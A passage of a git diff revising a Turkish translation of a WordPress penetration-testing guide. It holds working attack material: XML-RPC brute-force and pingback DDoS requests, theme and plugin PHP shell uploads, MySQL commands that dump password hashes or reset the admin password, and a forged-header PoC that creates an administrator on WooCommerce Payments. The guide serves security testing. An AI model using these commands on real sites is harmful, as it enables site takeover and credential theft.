dosyaların saklandığı dizindir. -- `wp-sitemap.xml` Wordpress 5.5 ve sonraki sürümlerde, tüm genel gönderileri ve herkese açık sorgulanabilir gönderi türleri ile taksonomileri içeren bir sitemap XML dosyası üretir. +- `wp-content/uploads/` platforma yüklenen herhangi bir dosyanın saklandığı dizindir. +- `wp-includes/` sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların bulunduğu dizindir. +- `wp-sitemap.xml` WordPress 5.5 ve üzeri sürümlerde, WordPress tüm herkese açık gönderiler ve herkese açık sorgulanabilir gönderi türleri ile taksonomiler için bir sitemap XML dosyası oluşturur. **Post exploitation** -- `wp-config.php` dosyası WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys and salts ve veritabanı tablo ön eki gibi bilgileri içerir. Bu yapılandırma dosyası aynı zamanda DEBUG modunu etkinleştirmek için de kullanılabilir; bu, sorun giderme sırasında faydalı olabilir. +- `wp-config.php` dosyası WordPress'in veritabanına bağlanmak için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys ve salts ile veritabanı tablo önekinin (prefix) bilgilerini içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu aktifleştirmek için de kullanılabilir; bu da sorun giderme sırasında yararlı olabilir. ### Kullanıcı İzinleri - **Administrator** -- **Editor**: Kendi ve başkalarının gönderilerini yayınlar ve yönetir +- **Editor**: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir - **Author**: Kendi gönderilerini yayınlar ve yönetir -- **Contributor**: Gönderilerini yazar ve yönetir ancak yayınlayamaz -- **Subscriber**: Gönderileri görüntüler ve profilini düzenler +- **Contributor**: Gönderilerini yazar ve yönetir fakat yayınlayamaz +- **Subscriber**: Gönderileri görüntüler ve profillerini düzenler ## **Passive Enumeration** -### **WordPress sürümünü öğrenme** +### **Get WordPress version** `/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin -Sayfanın **kaynak kodu** içinde (örnek: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Sayfanın **source code** içinde (örnek: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (524).png>) -### Eklentileri Edinin +### Eklentileri Al ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Genel olarak sürüm bilgilerini çıkarma +### Genel olarak sürümleri çıkarma ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ## Aktif keşif -### Plugins and Themes +### Eklentiler ve Temalar -Muhtemelen tüm Plugins and Themes'i bulamayacaksınız. Hepsini keşfetmek için **actively Brute Force a list of Plugins and Themes** yapmanız gerekecek (umarız bizim için bu listeleri içeren otomatik araçlar vardır). +Muhtemelen tüm eklenti ve temaları bulamayacaksınız. Bunların hepsini keşfetmek için bir eklenti ve tema listesine **aktif olarak Brute Force** yapmanız gerekecek (umarız ki bizim için bu listeleri içeren otomatik araçlar vardır). ### Kullanıcılar -- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz: +- **ID Brute:** Bir WordPress sitesinden kullanıcı ID'lerini Brute Forcing yaparak geçerli kullanıcılar elde edersiniz: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Yanıt **400** ise, id **geçersizdir**. +Eğer yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, id **geçersiz**dir. -- **wp-json:** Kullanıcılar hakkında bilgi almak için ayrıca şu sorguyu deneyebilirsiniz: +- **wp-json:** Kullanıcılar hakkında bilgi almak için sorgulamayı da deneyebilirsiniz: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Kullanıcılar hakkında bazı bilgiler ortaya çıkarabilecek bir diğer `/wp-json/` endpoint şudur: +Kullanıcılar hakkında bazı bilgiler ortaya çıkarabilecek bir diğer `/wp-json/` endpoint'i şudur: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Note that this endpoint only exposes users that have made a post. **Yalnızca bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır**. +Note that this endpoint only exposes users that have made a post. **Sadece bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır**. -Ayrıca unutmayın ki **/wp-json/wp/v2/pages** IP adreslerini leak edebilir. +Ayrıca **/wp-json/wp/v2/pages** IP adreslerini leak edebilir. -- **Login username enumeration**: **`/wp-login.php`** üzerinden giriş yapılırken gösterilen **mesaj** kullanıcı adının var olup olmadığına göre **farklıdır**. +- **Login username enumeration**: **`/wp-login.php`**'de giriş yaparken gösterilen **mesaj**, belirtilen **kullanıcı adının var olup olmadığına göre farklıdır**. ### XML-RPC -Eğer `xml-rpc.php` aktifse credentials brute-force gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). +Eğer `xml-rpc.php` aktifse credentials brute-force gerçekleştirebilir veya bunu diğer kaynaklara DoS attacks başlatmak için kullanabilirsiniz. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). -Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve şu isteği gönderin: +Aktif olup olmadığını kontrol etmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve şu isteği gönderin: **Kontrol** ```html @@ -122,7 +122,7 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`**, credentials'ı brute-force etmek için kullanılabilecek yöntemlerden bazılarıdır. Eğer bunlardan herhangi birini bulursanız şu şekilde bir istek gönderebilirsiniz: +**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** credentials üzerinde brute-force yapmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulabilirseniz şu şekilde bir şey gönderebilirsiniz: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den ``` -Kimlik bilgileri geçersizse 200 kodlu bir yanıtta _"Incorrect username or password"_ mesajı görünmelidir. +Kimlik bilgileri geçerli değilse, 200 kodlu bir yanıtta _"Incorrect username or password"_ mesajı görünmelidir. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol şu şekilde görünür ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -174,12 +174,12 @@ Ayrıca aynı istekte birden fazla kimlik bilgisi deneyebildiğiniz için **`sys **Bypass 2FA** -Bu yöntem programlar içindir, insanlar için değil; ayrıca eski olduğu için 2FA'yi desteklemez. Yani geçerli kimlik bilgilerine sahipseniz ama ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kötüye kullanarak bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmanız mümkün olabilir**. Konsol üzerinden yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, fakat Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) videosunda açıkladığı gibi yine de RCE'ye ulaşmanız mümkün olabilir. +Bu yöntem programlar için tasarlanmıştır, insanlar için değil ve eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kötüye kullanarak o kimlik bilgileriyle 2FA'yı atlayıp giriş yapabilmeniz mümkün olabilir**. Konsoldan yapabildiğiniz tüm işlemleri gerçekleştiremeyebileceğinizi unutmayın, ancak Ippsec'in açıkladığı gibi yine de RCE'ye ulaşabilmeniz mümkün olabilir [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS or port scanning** -Eğer listede _**pingback.ping**_ metodunu bulabilirseniz, Wordpress'in herhangi bir host/port'a rastgele bir istek göndermesini sağlayabilirsiniz.\ -Bu, binlerce **Wordpress** sitesinin tek bir hedefe erişmesini sağlamak için kullanılabilir (böylece o hedefte bir **DDoS** oluşur) veya bunu **Wordpress**'in bazı iç ağları taraması için kullanabilirsiniz (herhangi bir port belirtebilirsiniz). +Eğer listede _**pingback.ping**_ yöntemini bulabilirseniz Wordpress'in herhangi bir host/port'a rastgele bir istek göndermesini sağlayabilirsiniz.\ +Bu, binlerce Wordpress **site**nin tek bir **konuma** **erişmesini** istemek için kullanılabilir (böylece o konumda bir **DDoS** oluşur) veya bunu **Wordpress**'in bazı iç **ağları** **taraması** için kullanabilirsiniz (herhangi bir port belirtebilirsiniz). ```html pingback.ping @@ -191,9 +191,9 @@ Bu, binlerce **Wordpress** sitesinin tek bir hedefe erişmesini sağlamak için ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Eğer **faultCode** değeri **0**'dan (17) **büyük**se, bu portun açık olduğu anlamına gelir. +Eğer **faultCode** değeri **0'dan büyük** (17) ise, bu portun açık olduğunu gösterir. -Önceki bölümdeki **`system.multicall`** kullanımına bakın; bu yöntemi DDoS oluşturmak için nasıl kötüye kullanacağınızı öğrenin. +Önceki bölümdeki **`system.multicall`** kullanımına bakın; bu yöntemi kötüye kullanarak nasıl DDoS oluşturulacağını öğrenin. **DDoS** ```html @@ -209,15 +209,15 @@ Eğer **faultCode** değeri **0**'dan (17) **büyük**se, bu portun açık oldu ### wp-cron.php DoS -Bu dosya genellikle Wordpress sitesinin kökünde bulunur: **`/wp-cron.php`**\ -Bu dosyaya **erişildiğinde** "**yoğun**" MySQL **sorgusu** çalıştırılır, bu yüzden **saldırganlar** tarafından bir **DoS** oluşturmak için kullanılabilir.\ -Ayrıca, varsayılan olarak `wp-cron.php` her sayfa yüklemesinde (bir istemci herhangi bir Wordpress sayfasını istediğinde) çağrılır; bu da yüksek trafiğe sahip sitelerde sorunlara (DoS) yol açabilir. +Bu dosya genellikle Wordpress sitesinin kök dizininde bulunur: **`/wp-cron.php`**\ +Bu dosyaya **erişildiğinde** bir "**ağır**" MySQL **query** çalıştırılır; bu yüzden **attackers** bunu kullanarak bir **DoS**'a **sebep** olabilir.\ +Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklenişinde (bir istemci herhangi bir Wordpress sayfasını istediğinde) çağrılır; bu da yüksek trafikli sitelerde sorunlara (DoS) yol açabilir. -Wp-Cron'u devre dışı bırakıp, gerekli işlemleri düzenli aralıklarla gerçekleştirecek gerçek bir cronjob'un host içinde oluşturulması önerilir (sorun oluşturmayacak şekilde). +Wp-Cron'u devre dışı bırakıp host içinde gerçek bir cronjob oluşturarak gerekli işlemlerin düzenli aralıklarla (sorun çıkarmadan) gerçekleştirilmesi önerilir. ### /wp-json/oembed/1.0/proxy - SSRF -Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you. +Şu adrese erişmeyi deneyin _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ ve Worpress site size bir istek yapabilir. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Bu araç **methodName: pingback.ping** ve yol **/wp-json/oembed/1.0/proxy** olup olmadığını kontrol eder ve mevcutsa bunları istismar etmeye çalışır. +Bu araç **methodName: pingback.ping** olup olmadığını ve **/wp-json/oembed/1.0/proxy** yolunun varlığını kontrol eder; eğer varsa bunları exploit etmeye çalışır. ## Otomatik Araçlar ```bash @@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Bir biti üzerine yazarak erişim sağlama +## Bir biti değiştirerek erişim -Gerçek bir saldırıdan çok merak amaçlı bir şeydir. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasındaki 1 biti çevirebiliyordunuz. Böylece ` /var/www/html/wp-includes/user.php` dosyasının `5389` konumundaki biti çevirerek NOT (`!`) operasyonunu NOP yapabilirdiniz. +Gerçek bir saldırıdan ziyade bu bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti çevirebiliyordunuz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumundaki biti çevirerek NOT (`!`) işlemini NOP yapabilirdiniz. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**Kullanılan temadaki bir php dosyasını değiştirme (admin kimlik bilgileri gerekli)** +**Kullanılan temadan bir php değiştirme (admin credentials needed)** -Appearance → Theme Editor → 404 Template (sağda) +Görünüm → Tema Düzenleyici → 404 Şablonu (sağda) -İçeriği bir php shell için değiştirin: +php shell için içeriği değiştirin: ![](<../../images/image (384).png>) -Güncellenen sayfaya nasıl erişileceğini internette araştırın. Bu durumda buraya erişmelisiniz: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Internette güncellenmiş sayfaya nasıl erişeceğinizi arayın. Bu durumda buraya erişmelisiniz: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -265,95 +265,95 @@ use exploit/unix/webapp/wp_admin_shell_upload ``` oturum elde etmek için. -## Plugin RCE +## Eklenti RCE -### PHP plugin +### PHP eklentisi -Bir plugin olarak .php dosyaları yüklemek mümkün olabilir.\ -Örneğin şu şekilde bir php backdoor oluşturun: +.php dosyalarını eklenti olarak yüklemek mümkün olabilir.\ +Örneğin PHP backdoor'unuzu şu şekilde oluşturun: ![](<../../images/image (183).png>) -Sonra yeni bir plugin ekleyin: +Sonra yeni bir eklenti ekleyin: ![](<../../images/image (722).png>) -Upload plugin and press Install Now: +Eklentiyi yükleyip "Install Now" tuşuna basın: ![](<../../images/image (249).png>) -Click on Procced: +Procced'e tıklayın: ![](<../../images/image (70).png>) -Muhtemelen görünürde bir şey yapmayacaktır, ancak Media'ya giderseniz shell'inizin yüklendiğini göreceksiniz: +Muhtemelen görünürde hiçbir şey olmaz, ama Media'ya giderseniz yüklenmiş shell'inizi göreceksiniz: ![](<../../images/image (462).png>) -Erişin ve reverse shell'i çalıştırmak için URL'i göreceksiniz: +Onu açtığınızda reverse shell'i çalıştırmak için URL'i göreceksiniz: ![](<../../images/image (1006).png>) -### Uploading and activating malicious plugin +### Kötü amaçlı eklentinin yüklenmesi ve etkinleştirilmesi -Bu yöntem, zafiyeti bilinen ve web shell elde etmek için sömürülebilen kötü amaçlı bir plugin'in kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir: +Bu yöntem, bilinen bir zafiyete sahip ve web shell elde etmek için istismar edilebilen kötü amaçlı bir eklentinin kurulmasını içerir. Bu süreç WordPress dashboard'ı üzerinden şu şekilde gerçekleştirilir: -1. **Plugin Acquisition**: Plugin, Exploit DB gibi bir kaynaktan şu örnekteki gibi elde edilir: [**here**](https://www.exploit-db.com/exploits/36374). -2. **Plugin Installation**: -- WordPress dashboard'a gidin, sonra `Dashboard > Plugins > Upload Plugin` yolunu izleyin. -- İndirilen plugin'in zip dosyasını yükleyin. -3. **Plugin Activation**: Plugin başarılı şekilde yüklendikten sonra dashboard üzerinden etkinleştirilmelidir. -4. **Exploitation**: -- "reflex-gallery" plugin'i yüklendiğinde ve etkinleştirildiğinde, zafiyeti bilindiği için sömürülebilir. -- Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak bir meterpreter oturumu başlatılabilir ve siteye yetkisiz erişim sağlanabilir. -- Bunun, bir WordPress sitesini sömürmek için kullanılan birçok yöntemden sadece biri olduğu belirtilmelidir. +1. **Eklentinin Edinilmesi**: Eklenti, Exploit DB gibi bir kaynaktan edinilir; örneğin [**here**](https://www.exploit-db.com/exploits/36374). +2. **Eklenti Kurulumu**: +- WordPress dashboard'ına gidin, ardından `Dashboard > Plugins > Upload Plugin` yolunu izleyin. +- İndirilen eklentinin zip dosyasını yükleyin. +3. **Eklentinin Etkinleştirilmesi**: Eklenti başarıyla kurulduktan sonra dashboard üzerinden etkinleştirilmelidir. +4. **İstismar**: +- "reflex-gallery" eklentisi yüklü ve etkinleştirilmişse, bilinen bir zafiyet nedeniyle istismar edilebilir. +- Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak, siteye yetkisiz erişim sağlayan bir meterpreter oturumu kurulabilir. +- Bu, WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğuna dikkat edilmelidir. -İçerik, plugin'i yükleme ve etkinleştirme adımlarını gösteren WordPress dashboard'undaki görsel yardımcılar içerir. Ancak, bu tür zafiyetleri yetkisiz olarak sömürmenin yasalara aykırı ve etik olmadığını belirtmek önemlidir. Bu bilgiler sorumlu bir şekilde ve yalnızca açık izinle gerçekleştirilen penetration testing gibi yasal bağlamlarda kullanılmalıdır. +İçerik, eklentinin kurulması ve etkinleştirilmesine ilişkin adımları gösteren görsel yardımcılar içerir. Ancak, bu tür zafiyetleri yetkisiz şekilde istismar etmenin yasa dışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgiler sorumlu şekilde ve yalnızca açık izinle yapılan penetration testing gibi yasal bağlamlarda kullanılmalıdır. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## From XSS to RCE +## XSS'den RCE'ye - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** -- _**Privilege Escalation:**_ WordPress'te bir kullanıcı oluşturur. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Özel plugin'inizi (backdoor) WordPress'e yükleyin. -- _**(RCE) Built-In Plugin Edit:**_ WordPress'teki varsayılan plugin'leri düzenleyin. -- _**(RCE) Built-In Theme Edit:**_ WordPress'teki varsayılan theme'leri düzenleyin. -- _**(Custom) Custom Exploits:**_ Üçüncü taraf WordPress plugin/theme'leri için özel Exploit'ler. +- _**Yetki Yükseltme:**_ WordPress'te bir kullanıcı oluşturur. +- _**(RCE) Özel Eklenti (backdoor) Yükleme:**_ Özel eklentinizi (backdoor) WordPress'e yükleyin. +- _**(RCE) Dahili Eklenti Düzenleme:**_ WordPress'teki dahili eklentileri düzenleyin. +- _**(RCE) Dahili Tema Düzenleme:**_ WordPress'teki dahili temaları düzenleyin. +- _**(Özel) Özel Exploitler:**_ Üçüncü taraf WordPress eklentileri/temaları için özel Exploitler. -## Post Exploitation +## İstismar Sonrası -Kullanıcı adlarını ve şifreleri çıkartın: +Kullanıcı adları ve şifreleri çıkarın: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -admin parolasını değiştir: +Admin parolasını değiştir: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## Wordpress Plugins Pentest -### Attack Surface +### Saldırı Yüzeyi -Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkardığını bilmek, eklentinin işlevselliğindeki güvenlik açıklarını bulmak için anahtardır. Bir eklentinin nasıl işlevsellik açabileceğini aşağıdaki madde işaretlerinde görebilir ve bazı savunmasız eklenti örneklerini [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) adresinde bulabilirsiniz. +Bir Wordpress eklentisinin hangi yollarla işlevsellik açığa çıkarabileceğini bilmek, o işlevsellikteki zafiyetleri bulmak için kritiktir. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki maddelerde bulabilirsiniz ve örnek zafiyetli eklentilere dair bazı örnekler [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)'ta mevcuttur. - **`wp_ajax`** -Bir eklentinin fonksiyonlarını kullanıcılara açmasının yollarından biri AJAX handlers aracılığıdır. Bu handler'lar mantık, authorization veya authentication hataları içerebilir. Ayrıca, bu fonksiyonların hem authentication hem de authorization'ı WordPress nonce'unun varlığına dayandırması sık görülen bir durumdur; bu nonce'a **Wordpress instance'ında kimlik doğrulaması yapılmış herhangi bir kullanıcı sahip olabilir** (rolünden bağımsız olarak). +Bir eklentinin işlevleri kullanıcılara açığa çıkarmasının yollarından biri AJAX handler'ları aracılığıyladır. Bu handler'lar mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu fonksiyonların hem kimlik doğrulama hem de yetkilendirmeyi genellikle bir wordpress nonce'unun varlığına dayandırması sık rastlanan bir durumdur; bu nonce'a **wordpress örneğinde kimliği doğrulanmış herhangi bir kullanıcı sahip olabilir** (rolünden bağımsız olarak). -Bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlar şunlardır: +Bunlar, bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlardır: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv` kullanımı endpoint'i herhangi bir kullanıcı tarafından (kimliği doğrulanmamış olanlar dahil) erişilebilir kılar.** +**`nopriv` kullanımı endpoint'i herhangi bir kullanıcı tarafından (kimlik doğrulaması yapılmamış olanlar dahil) erişilebilir kılar.** > [!CAUTION] -> Ayrıca, eğer fonksiyon sadece `wp_verify_nonce` fonksiyonu ile kullanıcının yetkilendirmesini kontrol ediyorsa, bu fonksiyon genellikle sadece kullanıcının giriş yapıp yapmadığını kontrol eder; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir. +> Ayrıca, eğer fonksiyon sadece kullanıcının yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle yalnızca kullanıcının giriş yapıp yapmadığını kontrol eder; kullanıcının rolünü genellikle kontrol etmez. Bu yüzden düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir. - **REST API** -Ayrıca, `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları rest AP kaydederek açığa çıkarmak da mümkündür: +Ayrıca `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları REST API üzerinden erişime açmak da mümkündür: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -`permission_callback` bir API metodunu çağırmaya yetkili olup olmadığını kontrol eden bir geri çağırma fonksiyonudur. +The `permission_callback` bir API yöntemini çağırmaya yetkili olup olmadığını kontrol eden bir geriçağırım (callback) fonksiyonudur. -**Eğer dahili `__return_true` fonksiyonu kullanılırsa, kullanıcı izin kontrollerini tamamen atlayacaktır.** +**Eğer yerleşik `__return_true` fonksiyonu kullanılmışsa, kullanıcı izinleri kontrolünü atlar.** -- **Doğrudan php dosyasına erişim** +- **php dosyasına doğrudan erişim** -Elbette Wordpress PHP kullanır ve eklenti içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu yüzden bir eklenti, yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir güvenlik açığı içeren işlevsellik sunuyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir. +Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web'den doğrudan erişilebilir. Bu yüzden bir eklenti, dosyaya sadece erişilmesiyle tetiklenen herhangi bir zayıf işlevsellik açığa çıkarıyorsa, bu her kullanıcı tarafından istismar edilebilir. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Bazı eklentiler dahili entegrasyonlar veya reverse proxies için “trusted header” kısayolları uygular ve daha sonra bu header'ı REST istekleri için mevcut kullanıcı bağlamını ayarlamak amacıyla kullanır. Eğer header, upstream bir bileşen tarafından isteğe kriptografik olarak bağlanmamışsa, bir saldırgan bunu sahteleyebilir ve yönetici olarak ayrıcalıklı REST rotalarına erişebilir. +Bazı eklentiler, dahili entegrasyonlar veya reverse proxies için “trusted header” kısa yolları uygular ve daha sonra REST istekleri için mevcut kullanıcı bağlamını ayarlamak üzere bu header'ı kullanır. Eğer header, upstream bir bileşen tarafından kriptografik olarak isteğe bağlanmamışsa, bir saldırgan bu header'ı sahteleyebilir ve yönetici olarak ayrıcalıklı REST rotalarına erişebilir. -- Etkisi: core users REST route üzerinden yeni bir yönetici oluşturarak kimlik doğrulama olmadan yönetici ayrıcalıklarına yükselme. -- Örnek header: `X-Wcpay-Platform-Checkout-User: 1` (kullanıcı ID'sini 1 olarak zorlar; genellikle ilk yönetici hesabıdır.) -- İstismar edilen rota: `POST /wp-json/wp/v2/users` yükseltilmiş bir rol dizisi ile. +- Etki: kimlik doğrulaması olmayan bir saldırganın core users REST rotası üzerinden yeni bir yönetici oluşturarak admin ayrıcalıklarına yükselmesi. +- Örnek header: `X-Wcpay-Platform-Checkout-User: 1` (kullanıcı ID'sini 1 olarak zorlar, genellikle ilk yönetici hesabı). +- İstismar edilen rota: `POST /wp-json/wp/v2/users` yükseltilmiş bir rol içeren bir array ile. PoC ```http @@ -391,31 +391,31 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -Why it works +Neden işe yarıyor -- The plugin maps a client-controlled header to authentication state and skips capability checks. -- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header. +- Eklenti, istemci tarafından kontrol edilen bir HTTP header'ını kimlik doğrulama durumuna eşliyor ve capability kontrollerini atlıyor. +- WordPress core bu route için `create_users` capability'sini bekler; eklenti hack'i bunu header'dan doğrudan mevcut kullanıcı bağlamını ayarlayarak atlıyor. -Expected success indicators +Beklenen başarı göstergeleri -- HTTP 201 with a JSON body describing the created user. -- A new admin user visible in `wp-admin/users.php`. +- HTTP 201 ile oluşturulan kullanıcıyı tanımlayan bir JSON gövdesi. +- `wp-admin/users.php` içinde görünen yeni bir admin kullanıcı. -Detection checklist +Tespit kontrol listesi - Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). - Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers. - Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values. -### Yetkilendirilmemiş Rastgele Dosya Silme via wp_ajax_nopriv (Litho Theme <= 3.0) +### wp_ajax_nopriv aracılığıyla Kimliği Doğrulanmamış Keyfi Dosya Silme (Litho Theme <= 3.0) -WordPress temaları ve eklentileri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları aracılığıyla AJAX handler'ları açığa çıkarır. **_nopriv_** varyantı kullanıldığında **geri çağrı yetkilendirilmemiş ziyaretçiler tarafından erişilebilir hale gelir**, bu yüzden herhangi bir hassas işlem ek olarak şunları uygulamalıdır: +WordPress temaları ve eklentileri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları aracılığıyla AJAX handler'ları açığa çıkarır. **_nopriv_** varyantı kullanıldığında **callback, kimliği doğrulanmamış ziyaretçiler tarafından erişilebilir hale gelir**, bu nedenle herhangi bir hassas işlem 